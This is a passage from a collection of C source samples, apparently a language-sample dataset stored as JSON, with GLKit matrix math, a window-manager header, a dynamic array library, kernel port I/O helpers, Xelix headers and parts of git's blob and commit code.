matrixLeft.m[11] - matrixRight.m[11];\n\n    m.m[12] = matrixLeft.m[12] - matrixRight.m[12];\n    m.m[13] = matrixLeft.m[13] - matrixRight.m[13];\n    m.m[14] = matrixLeft.m[14] - matrixRight.m[14];\n    m.m[15] = matrixLeft.m[15] - matrixRight.m[15];\n\n    return m;\n#endif\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Translate(GLKMatrix4 matrix, float tx, float ty, float tz)\n{\n    GLKMatrix4 m = { matrix.m[0], matrix.m[1], matrix.m[2], matrix.m[3],\n                     matrix.m[4], matrix.m[5], matrix.m[6], matrix.m[7],\n                     matrix.m[8], matrix.m[9], matrix.m[10], matrix.m[11],\n                     matrix.m[0] * tx + matrix.m[4] * ty + matrix.m[8] * tz + matrix.m[12],\n                     matrix.m[1] * tx + matrix.m[5] * ty + matrix.m[9] * tz + matrix.m[13],\n                     matrix.m[2] * tx + matrix.m[6] * ty + matrix.m[10] * tz + matrix.m[14],\n                     matrix.m[15] };\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4TranslateWithVector3(GLKMatrix4 matrix, GLKVector3 translationVector)\n{\n    GLKMatrix4 m = { matrix.m[0], matrix.m[1], matrix.m[2], matrix.m[3],\n                     matrix.m[4], matrix.m[5], matrix.m[6], matrix.m[7],\n                     matrix.m[8], matrix.m[9], matrix.m[10], matrix.m[11],\n                     matrix.m[0] * translationVector.v[0] + matrix.m[4] * translationVector.v[1] + matrix.m[8] * translationVector.v[2] + matrix.m[12],\n                     matrix.m[1] * translationVector.v[0] + matrix.m[5] * translationVector.v[1] + matrix.m[9] * translationVector.v[2] + matrix.m[13],\n                     matrix.m[2] * translationVector.v[0] + matrix.m[6] * translationVector.v[1] + matrix.m[10] * translationVector.v[2] + matrix.m[14],\n                     matrix.m[15] };\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4TranslateWithVector4(GLKMatrix4 matrix, GLKVector4 translationVector)\n{\n    GLKMatrix4 m = { matrix.m[0], matrix.m[1], matrix.m[2], matrix.m[3],\n                     matrix.m[4], matrix.m[5], matrix.m[6], matrix.m[7],\n                     matrix.m[8], matrix.m[9], matrix.m[10], matrix.m[11],\n                     matrix.m[0] * translationVector.v[0] + matrix.m[4] * translationVector.v[1] + matrix.m[8] * translationVector.v[2] + matrix.m[12],\n                     matrix.m[1] * translationVector.v[0] + matrix.m[5] * translationVector.v[1] + matrix.m[9] * translationVector.v[2] + matrix.m[13],\n                     matrix.m[2] * translationVector.v[0] + matrix.m[6] * translationVector.v[1] + matrix.m[10] * translationVector.v[2] + matrix.m[14],\n                     matrix.m[15] };\n    return m;\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Scale(GLKMatrix4 matrix, float sx, float sy, float sz)\n{\n#if defined(__ARM_NEON__)\n    float32x4x4_t iMatrix = *(float32x4x4_t *)&matrix;\n    float32x4x4_t m;\n\n    m.val[0] = vmulq_n_f32(iMatrix.val[0], (float32_t)sx);\n    m.val[1] = vmulq_n_f32(iMatrix.val[1], (float32_t)sy);\n    m.val[2] = vmulq_n_f32(iMatrix.val[2], (float32_t)sz);\n    m.val[3] = iMatrix.val[3];\n\n    return *(GLKMatrix4 *)&m;\n#else\n    GLKMatrix4 m = { matrix.m[0] * sx, matrix.m[1] * sx, matrix.m[2] * sx, matrix.m[3] * sx,\n                     matrix.m[4] * sy, matrix.m[5] * sy, matrix.m[6] * sy, matrix.m[7] * sy,\n                     matrix.m[8] * sz, matrix.m[9] * sz, matrix.m[10] * sz, matrix.m[11] * sz,\n                     matrix.m[12], matrix.m[13], matrix.m[14], matrix.m[15] };\n    return m;\n#endif\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4ScaleWithVector3(GLKMatrix4 matrix, GLKVector3 scaleVector)\n{\n#if defined(__ARM_NEON__)\n    float32x4x4_t iMatrix = *(float32x4x4_t *)&matrix;\n    float32x4x4_t m;\n\n    m.val[0] = vmulq_n_f32(iMatrix.val[0], (float32_t)scaleVector.v[0]);\n    m.val[1] = vmulq_n_f32(iMatrix.val[1], (float32_t)scaleVector.v[1]);\n    m.val[2] = vmulq_n_f32(iMatrix.val[2], (float32_t)scaleVector.v[2]);\n    m.val[3] = iMatrix.val[3];\n\n    return *(GLKMatrix4 *)&m;\n#else\n    GLKMatrix4 m = { matrix.m[0] * scaleVector.v[0], matrix.m[1] * scaleVector.v[0], matrix.m[2] * scaleVector.v[0], matrix.m[3] * scaleVector.v[0],\n                     matrix.m[4] * scaleVector.v[1], matrix.m[5] * scaleVector.v[1], matrix.m[6] * scaleVector.v[1], matrix.m[7] * scaleVector.v[1],\n                     matrix.m[8] * scaleVector.v[2], matrix.m[9] * scaleVector.v[2], matrix.m[10] * scaleVector.v[2], matrix.m[11] * scaleVector.v[2],\n                     matrix.m[12], matrix.m[13], matrix.m[14], matrix.m[15] };\n    return m;\n#endif\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4ScaleWithVector4(GLKMatrix4 matrix, GLKVector4 scaleVector)\n{\n#if defined(__ARM_NEON__)\n    float32x4x4_t iMatrix = *(float32x4x4_t *)&matrix;\n    float32x4x4_t m;\n\n    m.val[0] = vmulq_n_f32(iMatrix.val[0], (float32_t)scaleVector.v[0]);\n    m.val[1] = vmulq_n_f32(iMatrix.val[1], (float32_t)scaleVector.v[1]);\n    m.val[2] = vmulq_n_f32(iMatrix.val[2], (float32_t)scaleVector.v[2]);\n    m.val[3] = iMatrix.val[3];\n\n    return *(GLKMatrix4 *)&m;\n#else\n    GLKMatrix4 m = { matrix.m[0] * scaleVector.v[0], matrix.m[1] * scaleVector.v[0], matrix.m[2] * scaleVector.v[0], matrix.m[3] * scaleVector.v[0],\n                     matrix.m[4] * scaleVector.v[1], matrix.m[5] * scaleVector.v[1], matrix.m[6] * scaleVector.v[1], matrix.m[7] * scaleVector.v[1],\n                     matrix.m[8] * scaleVector.v[2], matrix.m[9] * scaleVector.v[2], matrix.m[10] * scaleVector.v[2], matrix.m[11] * scaleVector.v[2],\n                     matrix.m[12], matrix.m[13], matrix.m[14], matrix.m[15] };\n    return m;\n#endif\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4Rotate(GLKMatrix4 matrix, float radians, float x, float y, float z)\n{\n    GLKMatrix4 rm = GLKMatrix4MakeRotation(radians, x, y, z);\n    return GLKMatrix4Multiply(matrix, rm);\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4RotateWithVector3(GLKMatrix4 matrix, float radians, GLKVector3 axisVector)\n{\n    GLKMatrix4 rm = GLKMatrix4MakeRotation(radians, axisVector.v[0], axisVector.v[1], axisVector.v[2]);\n    return GLKMatrix4Multiply(matrix, rm);\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4RotateWithVector4(GLKMatrix4 matrix, float radians, GLKVector4 axisVector)\n{\n    GLKMatrix4 rm = GLKMatrix4MakeRotation(radians, axisVector.v[0], axisVector.v[1], axisVector.v[2]);\n    return GLKMatrix4Multiply(matrix, rm);\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4RotateX(GLKMatrix4 matrix, float radians)\n{\n    GLKMatrix4 rm = GLKMatrix4MakeXRotation(radians);\n    return GLKMatrix4Multiply(matrix, rm);\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4RotateY(GLKMatrix4 matrix, float radians)\n{\n    GLKMatrix4 rm = GLKMatrix4MakeYRotation(radians);\n    return GLKMatrix4Multiply(matrix, rm);\n}\n\nstatic __inline__ GLKMatrix4 GLKMatrix4RotateZ(GLKMatrix4 matrix, float radians)\n{\n    GLKMatrix4 rm = GLKMatrix4MakeZRotation(radians);\n    return GLKMatrix4Multiply(matrix, rm);\n}\n\nstatic __inline__ GLKVector3 GLKMatrix4MultiplyVector3(GLKMatrix4 matrixLeft, GLKVector3 vectorRight)\n{\n    GLKVector4 v4 = GLKMatrix4MultiplyVector4(matrixLeft, GLKVector4Make(vectorRight.v[0], vectorRight.v[1], vectorRight.v[2], 0.0f));\n    return GLKVector3Make(v4.v[0], v4.v[1], v4.v[2]);\n}\n\nstatic __inline__ GLKVector3 GLKMatrix4MultiplyVector3WithTranslation(GLKMatrix4 matrixLeft, GLKVector3 vectorRight)\n{\n    GLKVector4 v4 = GLKMatrix4MultiplyVector4(matrixLeft, GLKVector4Make(vectorRight.v[0], vectorRight.v[1], vectorRight.v[2], 1.0f));\n    return GLKVector3Make(v4.v[0], v4.v[1], v4.v[2]);\n}\n\nstatic __inline__ GLKVector3 GLKMatrix4MultiplyAndProjectVector3(GLKMatrix4 matrixLeft, GLKVector3 vectorRight)\n{\n    GLKVector4 v4 = GLKMatrix4MultiplyVector4(matrixLeft, GLKVector4Make(vectorRight.v[0], vectorRight.v[1], vectorRight.v[2], 1.0f));\n    return GLKVector3MultiplyScalar(GLKVector3Make(v4.v[0], v4.v[1], v4.v[2]), 1.0f / v4.v[3]);\n}\n\nstatic __inline__ void GLKMatrix4MultiplyVector3Array(GLKMatrix4 matrix, GLKVector3 *vectors, size_t vectorCount)\n{\n    size_t i;\n    for (i=0; i < vectorCount; i++)\n        vectors[i] = GLKMatrix4MultiplyVector3(matrix, vectors[i]);\n}\n\nstatic __inline__ void GLKMatrix4MultiplyVector3ArrayWithTranslation(GLKMatrix4 matrix, GLKVector3 *vectors, size_t vectorCount)\n{\n    size_t i;\n    for (i=0; i < vectorCount; i++)\n        vectors[i] = GLKMatrix4MultiplyVector3WithTranslation(matrix, vectors[i]);\n}\n\nstatic __inline__ void GLKMatrix4MultiplyAndProjectVector3Array(GLKMatrix4 matrix, GLKVector3 *vectors, size_t vectorCount)\n{\n    size_t i;\n    for (i=0; i < vectorCount; i++)\n        vectors[i] = GLKMatrix4MultiplyAndProjectVector3(matrix, vectors[i]);\n}\n\nstatic __inline__ GLKVector4 GLKMatrix4MultiplyVector4(GLKMatrix4 matrixLeft, GLKVector4 vectorRight)\n{\n#if defined(__ARM_NEON__)\n    float32x4x4_t iMatrix = *(float32x4x4_t *)&matrixLeft;\n    float32x4_t v;\n\n    iMatrix.val[0] = vmulq_n_f32(iMatrix.val[0], (float32_t)vectorRight.v[0]);\n    iMatrix.val[1] = vmulq_n_f32(iMatrix.val[1], (float32_t)vectorRight.v[1]);\n    iMatrix.val[2] = vmulq_n_f32(iMatrix.val[2], (float32_t)vectorRight.v[2]);\n    iMatrix.val[3] = vmulq_n_f32(iMatrix.val[3], (float32_t)vectorRight.v[3]);\n\n    iMatrix.val[0] = vaddq_f32(iMatrix.val[0], iMatrix.val[1]);\n    iMatrix.val[2] = vaddq_f32(iMatrix.val[2], iMatrix.val[3]);\n\n    v = vaddq_f32(iMatrix.val[0], iMatrix.val[2]);\n\n    return *(GLKVector4 *)&v;\n#else\n    GLKVector4 v = { matrixLeft.m[0] * vectorRight.v[0] + matrixLeft.m[4] * vectorRight.v[1] + matrixLeft.m[8] * vectorRight.v[2] + matrixLeft.m[12] * vectorRight.v[3],\n                     matrixLeft.m[1] * vectorRight.v[0] + matrixLeft.m[5] * vectorRight.v[1] + matrixLeft.m[9] * vectorRight.v[2] + matrixLeft.m[13] * vectorRight.v[3],\n                     matrixLeft.m[2] * vectorRight.v[0] + matrixLeft.m[6] * vectorRight.v[1] + matrixLeft.m[10] * vectorRight.v[2] + matrixLeft.m[14] * vectorRight.v[3],\n                     matrixLeft.m[3] * vectorRight.v[0] + matrixLeft.m[7] * vectorRight.v[1] + matrixLeft.m[11] * vectorRight.v[2] + matrixLeft.m[15] * vectorRight.v[3] };\n    return v;\n#endif\n}\n\nstatic __inline__ void GLKMatrix4MultiplyVector4Array(GLKMatrix4 matrix, GLKVector4 *vectors, size_t vectorCount)\n{\n    size_t i;\n    for (i=0; i < vectorCount; i++)\n        vectors[i] = GLKMatrix4MultiplyVector4(matrix, vectors[i]);\n}\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* __GLK_MATRIX_4_H */\n"
  },
  {
    "path": "samples/C/NWMan.h",
    "content": "#ifndef _NME_WMAN_H\n#define _NME_WMAN_H\n\n// Internal window manager API\n\n#include \"NCompat.h\"\n\nSTART_HEAD\n\n#include \"NPos.h\"\n#include \"NUtil.h\"\n#include \"NTypes.h\"\n\nNTS(NWMan_event);\n\nNSTRUCT(NWMan, {\n    // Init stuff\n    bool (*init)();\n    bool (*destroy)();\n\n    // Window stuff\n    bool (*create_window)();\n    bool (*destroy_window)();\n\n    void (*swap_buffers)();\n\n    // Event stuff\n    bool (*next_event)(NWMan_event* event);\n\n    // Time stuff\n    uint (*get_millis)();\n    void (*sleep)(uint millis);\n\n    // Info\n    int rshift_key;\n    int lshift_key;\n    int left_key;\n    int right_key;\n});\n\nNENUM(NWMan_event_type, {\n    N_WMAN_MOUSE_MOVE = 0,\n    N_WMAN_MOUSE_BUTTON = 1,\n    N_WMAN_MOUSE_WHEEL = 2,\n\n    N_WMAN_KEYBOARD = 10,\n\n    N_WMAN_QUIT = 20,\n    N_WMAN_RESIZE = 21,\n    N_WMAN_FOCUS = 22\n});\n\n#define N_WMAN_MOUSE_LEFT 0\n#define N_WMAN_MOUSE_RIGHT 1\n#define N_WMAN_MOUSE_MIDDLE 2\n\nNSTRUCT(NWMan_event, {\n    NWMan_event_type type;\n\n    union {\n        // Mouse\n\n        NPos2i mouse_pos;\n\n        struct {\n            short id;\n            bool state;\n        } mouse_button;\n\n        signed char mouse_wheel; // 1 if up, -1 if down\n\n        // Keyboard\n\n        struct {\n            int key;\n            bool state;\n        } keyboard;\n\n        // Window\n\n        bool window_quit; // Will always be true if WM_QUIT\n\n        NPos2i window_size;\n\n        bool window_focus;\n    };\n});\n\nNWMan_event NWMan_event_new(NWMan_event_type type);\n\n\nbool NWMan_init();\nbool NWMan_destroy();\n\nextern NWMan N_WMan;\n\nEND_HEAD\n\n#endif\n"
  },
  {
    "path": "samples/C/Nightmare.h",
    "content": "#ifndef _NMEX_NIGHTMARE_H\n#define _NMEX_NIGHTMARE_H\n\n//#define NMEX\n\n#include \"../src/NCompat.h\"\n\nSTART_HEAD\n\n#include \"../src/NTypes.h\"\n#include \"../src/NUtil.h\"\n#include \"../src/NPorting.h\"\n#include \"../src/NGlobals.h\"\n#include \"../src/NLog.h\"\n#include \"../src/NWMan.h\"\n#include \"../src/NRsc.h\"\n#include \"../src/NShader.h\"\n#include \"../src/NSquare.h\"\n#include \"../src/NImage.h\"\n#include \"../src/NSprite.h\"\n#include \"../src/NSpritesheet.h\"\n#include \"../src/NEntity.h\"\n#include \"../src/Game.h\"\n\nEND_HEAD\n\n#endif\n"
  },
  {
    "path": "samples/C/array.c",
    "content": "#include <array.h>\n\nunsigned __bump_up(unsigned n) {\n    unsigned base = 1;\n    --n;\n    while (base < sizeof n * 8) {\n        n |= n >> base;\n        base *= 2;\n    }\n    ++n;\n    n += (n == 0);\n    return n;\n}\n\nvoid *__array_alloc(size_t size, unsigned length) {\n    unsigned allocated = __bump_up(length);\n    struct __array_header *head = malloc(sizeof *head + allocated * size);\n    assert(head);\n    head->length = length;\n    head->allocated = allocated;\n    return (void *) (head + 1);\n}\n\nvoid __array_resize(void **array, size_t size, int difference) {\n    if (difference == 0) {\n        return;\n    }\n    struct __array_header *head = __header(*array);\n    head->length += difference;\n    if (head->length >= head->allocated) {\n        head->allocated = __bump_up(head->length);\n        head = realloc(head, sizeof *head + head->allocated * size);\n        assert(head);\n        *array = head + 1;\n    }\n}\n\nint __array_search(void *array, void *elem, size_t size) {\n    for (unsigned i = 0; i < alength(array) * size; i += size) {\n        if (memcmp((char *)array + i, elem, size) == 0) {\n            return 1;\n        }\n    }\n    return 0;\n}\n"
  },
  {
    "path": "samples/C/array.h",
    "content": "#ifndef ARRAY_H\n#define ARRAY_H value\n\n#include <assert.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define array(type, name, initial_length) \\\n    type *name = __array_alloc(sizeof(type), initial_length)\n\n#define aforeach(it, array) \\\n    for (unsigned it = 0; \\\n            it < alength(array); \\\n            ++it)\n\n#define __header(array) \\\n    ((struct __array_header *) array - 1)\n\n#define alength(array) \\\n    (__header(array)->length)\n\n#define afree(array) \\\n    free(__header(array))\n\n#define apush(array, elem) \\\n    __array_resize((void **) &array, sizeof *array, 1); \\\n    array[alength(array)-1] = elem\n\n#define apop(array) \\\n    aremove(array, (alength(array) - 1))\n\n#define aremove(array, index) \\\n    assert(alength(array) > index); \\\n    memmove(array + index, array + index + 1, sizeof *array * (alength(array) - index - 1)); \\\n    __array_resize((void **) &array, sizeof *array, -1)\n\n#define ainsert(array, index, elem) \\\n    __array_resize((void **) &array, sizeof *array, index >= alength(array) ? index - alength(array) + 1 : 1); \\\n    memmove(array + index + 1, array + index, sizeof *array * (alength(array) - index - 1)); \\\n    array[index] = elem\n\n#define acontains(array, elem) \\\n    __array_search(array, &elem, sizeof elem)\n\n#define __arrayallocated(array) \\\n    (__header(array)->allocated)\n\nstruct __array_header {\n    unsigned length;\n    unsigned allocated;\n};\n\nunsigned __bump_up(unsigned n);\nvoid *__array_alloc(size_t size, unsigned length);\nvoid __array_resize(void **array, size_t size, int difference);\nint __array_search(void *array, void *elem, size_t size);\n\n#endif /* ifndef ARRAY_H */\n"
  },
  {
    "path": "samples/C/asm.h",
    "content": "/* CarbonOS System/Kernel\n * Copyright 2015-2017 David Aylaian\n * Licensed under Apache 2.0: https://github.com/DavidAylaian/CarbonOS/blob/master/LICENSE.md\n */\n\n#ifndef ASM_H\n#define ASM_H\n\n#include <stdint.h>\n\n// macros for enabling and disabling interrupts\n#define enable()\tasm(\"sti\");\n#define disable()\tasm(\"cli\");\n\n// inb instruction\nuint8_t inb (uint16_t port) {\n\tuint8_t val;\n\tasm volatile (\"inb %0, %1\" : \"=a\"(val): \"Nd\"(port));\n\treturn val;\n}\n\n// outb instruction\nvoid outb (uint16_t port, uint8_t val) {\n\tasm volatile (\"outb %1, %0\" : : \"a\"(val), \"Nd\"(port));\n}\n\n#endif\n"
  },
  {
    "path": "samples/C/bitmap.h",
    "content": "#pragma once\n\n/* Copyright © 2010 Christoph Sünderhauf\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix.  If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include \"generic.h\"\n\ntypedef struct {\n\tuint32_t numbits;\n\t/* an array large enough for numbits to fit in. Might \n\t * (if numbits%8!=0) have some spare bits at the end\n\t */\n\tuint32_t* bits;\n} bitmap_t;\n\n\n// creates a new bitmap.\n// CONTENT IS RANDOM!  - use bitmap_clearall() to clear the bitmap.\nbitmap_t bitmap_init(uint32_t numbits);\n\n// returns 1 or 0\nuint8_t bitmap_get(bitmap_t bitmap, uint32_t bitnum);\n// sets a bit (to 1)\nvoid bitmap_set(bitmap_t bitmap, uint32_t bitnum);\n// clears a bit (to 0)\nvoid bitmap_clear(bitmap_t bitmap, uint32_t bitnum);\n\n// clears every bit to 0\nvoid bitmap_clearAll(bitmap_t bitmap);\n\n// finds the first bit set to 0    returns 0 if no cleared bit found (0 is also returned if the first bit is cleared)\nuint32_t bitmap_findFirstClear(bitmap_t bitmap);\n"
  },
  {
    "path": "samples/C/blob.c",
    "content": "#include \"cache.h\"\n#include \"blob.h\"\n\nconst char *blob_type = \"blob\";\n\nstruct blob *lookup_blob(const unsigned char *sha1)\n{\n\tstruct object *obj = lookup_object(sha1);\n\tif (!obj)\n\t\treturn create_object(sha1, OBJ_BLOB, alloc_blob_node());\n\tif (!obj->type)\n\t\tobj->type = OBJ_BLOB;\n\tif (obj->type != OBJ_BLOB) {\n\t\terror(\"Object %s is a %s, not a blob\",\n\t\t      sha1_to_hex(sha1), typename(obj->type));\n\t\treturn NULL;\n\t}\n\treturn (struct blob *) obj;\n}\n\nint parse_blob_buffer(struct blob *item, void *buffer, unsigned long size)\n{\n\titem->object.parsed = 1;\n\treturn 0;\n}\n"
  },
  {
    "path": "samples/C/blob.h",
    "content": "#ifndef BLOB_H\n#define BLOB_H\n\n#include \"object.h\"\n\nextern const char *blob_type;\n\nstruct blob {\n\tstruct object object;\n};\n\nstruct blob *lookup_blob(const unsigned char *sha1);\n\nint parse_blob_buffer(struct blob *item, void *buffer, unsigned long size);\n\n/**\n * Blobs do not contain references to other objects and do not have\n * structured data that needs parsing. However, code may use the\n * \"parsed\" bit in the struct object for a blob to determine whether\n * its content has been found to actually be available, so\n * parse_blob_buffer() is used (by object.c) to flag that the object\n * has been read successfully from the database.\n **/\n\n#endif /* BLOB_H */\n"
  },
  {
    "path": "samples/C/bootstrap.h",
    "content": "#ifndef BOOTSTRAP_H\n#define BOOTSTRAP_H\n\n#include <stdio.h>\n#include \"cxrs.h\"\n\n/* If we're not using GNU C, elide __attribute__ */\n#ifndef __GNUC__\n#  define  __attribute__(x)  /*NOTHING*/\n#endif\n\ntypedef struct object object;\n\nobject *true;\nobject *false;\nobject *eof;\nobject *empty_list;\nobject *global_enviroment;\n\nenum obj_type {\n        scm_bool,\n        scm_empty_list,\n        scm_eof,\n        scm_char,\n        scm_int,\n        scm_pair,\n        scm_symbol,\n        scm_prim_fun,\n        scm_lambda,\n        scm_str,\n        scm_file\n};\n\ntypedef object *(*prim_proc)(object *args);\n\nobject *read(FILE *in);\nobject *eval(object *code, object *env);\nvoid print(FILE *out, object *obj, int display);\n\nint check_type(enum obj_type type, object *obj, int err_on_false);\n\nstatic inline int is_true(object *obj)\n{\n        return obj != false;\n}\n\nobject *make_int(int value);\nint obj2int(object *i);\n\nobject *make_bool(int value);\nint obj2bool(object *b);\n\nobject *make_char(char c);\nchar obj2char(object *ch);\n\nobject *make_str(char *str);\nchar *obj2str(object *str);\n\nobject *cons(object *car, object *cdr);\nobject *car(object *pair);\nobject *cdr(object *pair);\nvoid set_car(object *pair, object *new);\nvoid set_cdr(object *pair, object *new);\n\nobject *make_symbol(char *name);\nchar *sym2str(object *sym);\nobject *get_symbol(char *name) __attribute__((pure));\n\nobject *make_prim_fun(prim_proc fun);\nprim_proc obj2prim_proc(object *proc);\n\nobject *make_lambda(object *args, object *code, object *env);\nobject *lambda_code(object *lambda);\nobject *lambda_args(object *lambda);\n\nobject *make_port(FILE *handle, int direction);\nint port_direction(object *port);\nFILE *port_handle(object *port);\nvoid set_port_handle_to_null(object *port);\n\n/*both of these should never be called*/\nobject *apply_proc(object *);\nobject *eval_proc(object *);\n\n\nobject *maybe_add_begin(object *code);\n\nvoid init_enviroment(object *env);\n\n\nvoid eval_err(char *msg, object *code) __attribute__((noreturn));\n\nvoid define_var(object *var, object *val, object *env);\nvoid set_var(object *var, object *val, object *env);\nobject *get_var(object *var, object *env);\n\nobject *cond2nested_if(object *cond);\nobject *let2lambda(object *let);\nobject *and2nested_if(object *and);\nobject *or2nested_if(object *or);\n\n#endif /*include guard*/\n"
  },
  {
    "path": "samples/C/color.h",
    "content": "#pragma once\n\n/* Copyright © 2011 Fritz Grimpen\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n\ntypedef struct {\n\tuint32_t background;\n\tuint32_t foreground;\n} console_color_t;\n\n#define CONSOLE_COLOR_BLACK    0x0\n#define CONSOLE_COLOR_BLUE     0x1\n#define CONSOLE_COLOR_GREEN    0x2\n#define CONSOLE_COLOR_CYAN     0x3\n#define CONSOLE_COLOR_RED      0x4\n#define CONSOLE_COLOR_MAGENTA  0x5\n#define CONSOLE_COLOR_BROWN    0x6\n#define CONSOLE_COLOR_LGREY    0x7\n#define CONSOLE_COLOR_DGREY    0x8\n#define CONSOLE_COLOR_LBLUE    0x9\n#define CONSOLE_COLOR_LGREEN   0xa\n#define CONSOLE_COLOR_LCYAN    0xb\n#define CONSOLE_COLOR_LRED     0xc\n#define CONSOLE_COLOR_LMAGENTA 0xd\n#define CONSOLE_COLOR_YELLOW   0xe\n#define CONSOLE_COLOR_WHITE    0xf\n\n"
  },
  {
    "path": "samples/C/commit.c",
    "content": "#include \"cache.h\"\n#include \"tag.h\"\n#include \"commit.h\"\n#include \"pkt-line.h\"\n#include \"utf8.h\"\n#include \"diff.h\"\n#include \"revision.h\"\n#include \"notes.h\"\n#include \"gpg-interface.h\"\n#include \"mergesort.h\"\n\nint save_commit_buffer = 1;\n\nconst char *commit_type = \"commit\";\n\nstatic struct commit *check_commit(struct object *obj,\n\t\t\t\t   const unsigned char *sha1,\n\t\t\t\t   int quiet)\n{\n\tif (obj->type != OBJ_COMMIT) {\n\t\tif (!quiet)\n\t\t\terror(\"Object %s is a %s, not a commit\",\n\t\t\t      sha1_to_hex(sha1), typename(obj->type));\n\t\treturn NULL;\n\t}\n\treturn (struct commit *) obj;\n}\n\nstruct commit *lookup_commit_reference_gently(const unsigned char *sha1,\n\t\t\t\t\t      int quiet)\n{\n\tstruct object *obj = deref_tag(parse_object(sha1), NULL, 0);\n\n\tif (!obj)\n\t\treturn NULL;\n\treturn check_commit(obj, sha1, quiet);\n}\n\nstruct commit *lookup_commit_reference(const unsigned char *sha1)\n{\n\treturn lookup_commit_reference_gently(sha1, 0);\n}\n\nstruct commit *lookup_commit_or_die(const unsigned char *sha1, const char *ref_name)\n{\n\tstruct commit *c = lookup_commit_reference(sha1);\n\tif (!c)\n\t\tdie(_(\"could not parse %s\"), ref_name);\n\tif (hashcmp(sha1, c->object.sha1)) {\n\t\twarning(_(\"%s %s is not a commit!\"),\n\t\t\tref_name, sha1_to_hex(sha1));\n\t}\n\treturn c;\n}\n\nstruct commit *lookup_commit(const unsigned char *sha1)\n{\n\tstruct object *obj = lookup_object(sha1);\n\tif (!obj)\n\t\treturn create_object(sha1, OBJ_COMMIT, alloc_commit_node());\n\tif (!obj->type)\n\t\tobj->type = OBJ_COMMIT;\n\treturn check_commit(obj, sha1, 0);\n}\n\nstruct commit *lookup_commit_reference_by_name(const char *name)\n{\n\tunsigned char sha1[20];\n\tstruct commit *commit;\n\n\tif (get_sha1(name, sha1))\n\t\treturn NULL;\n\tcommit = lookup_commit_reference(sha1);\n\tif (!commit || parse_commit(commit))\n\t\treturn NULL;\n\treturn commit;\n}\n\nstatic unsigned long parse_commit_date(const char *buf, const char *tail)\n{\n\tconst char *dateptr;\n\n\tif (buf + 6 >= tail)\n\t\treturn 0;\n\tif (memcmp(buf, \"author\", 6))\n\t\treturn 0;\n\twhile (buf < tail && *buf++ != '\\n')\n\t\t/* nada */;\n\tif (buf + 9 >= tail)\n\t\treturn 0;\n\tif (memcmp(buf, \"committer\", 9))\n\t\treturn 0;\n\twhile (buf < tail && *buf++ != '>')\n\t\t/* nada */;\n\tif (buf >= tail)\n\t\treturn 0;\n\tdateptr = buf;\n\twhile (buf < tail && *buf++ != '\\n')\n\t\t/* nada */;\n\tif (buf >= tail)\n\t\treturn 0;\n\t/* dateptr < buf && buf[-1] == '\\n', so strtoul will stop at buf-1 */\n\treturn strtoul(dateptr, NULL, 10);\n}\n\nstatic struct commit_graft **commit_graft;\nstatic int commit_graft_alloc, commit_graft_nr;\n\nstatic int commit_graft_pos(const unsigned char *sha1)\n{\n\tint lo, hi;\n\tlo = 0;\n\thi = commit_graft_nr;\n\twhile (lo < hi) {\n\t\tint mi = (lo + hi) / 2;\n\t\tstruct commit_graft *graft = commit_graft[mi];\n\t\tint cmp = hashcmp(sha1, graft->sha1);\n\t\tif (!cmp)\n\t\t\treturn mi;\n\t\tif (cmp < 0)\n\t\t\thi = mi;\n\t\telse\n\t\t\tlo = mi + 1;\n\t}\n\treturn -lo - 1;\n}\n\nint register_commit_graft(struct commit_graft *graft, int ignore_dups)\n{\n\tint pos = commit_graft_pos(graft->sha1);\n\n\tif (0 <= pos) {\n\t\tif (ignore_dups)\n\t\t\tfree(graft);\n\t\telse {\n\t\t\tfree(commit_graft[pos]);\n\t\t\tcommit_graft[pos] = graft;\n\t\t}\n\t\treturn 1;\n\t}\n\tpos = -pos - 1;\n\tif (commit_graft_alloc <= ++commit_graft_nr) {\n\t\tcommit_graft_alloc = alloc_nr(commit_graft_alloc);\n\t\tcommit_graft = xrealloc(commit_graft,\n\t\t\t\t\tsizeof(*commit_graft) *\n\t\t\t\t\tcommit_graft_alloc);\n\t}\n\tif (pos < commit_graft_nr)\n\t\tmemmove(commit_graft + pos + 1,\n\t\t\tcommit_graft + pos,\n\t\t\t(commit_graft_nr - pos - 1) *\n\t\t\tsizeof(*commit_graft));\n\tcommit_graft[pos] = graft;\n\treturn 0;\n}\n\nstruct commit_graft *read_graft_line(char *buf, int len)\n{\n\t/* The format is just \"Commit Parent1 Parent2 ...\\n\" */\n\tint i;\n\tstruct commit_graft *graft = NULL;\n\n\twhile (len && isspace(buf[len-1]))\n\t\tbuf[--len] = '\\0';\n\tif (buf[0] == '#' || buf[0] == '\\0')\n\t\treturn NULL;\n\tif ((len + 1) % 41)\n\t\tgoto bad_graft_data;\n\ti = (len + 1) / 41 - 1;\n\tgraft = xmalloc(sizeof(*graft) + 20 * i);\n\tgraft->nr_parent = i;\n\tif (get_sha1_hex(buf, 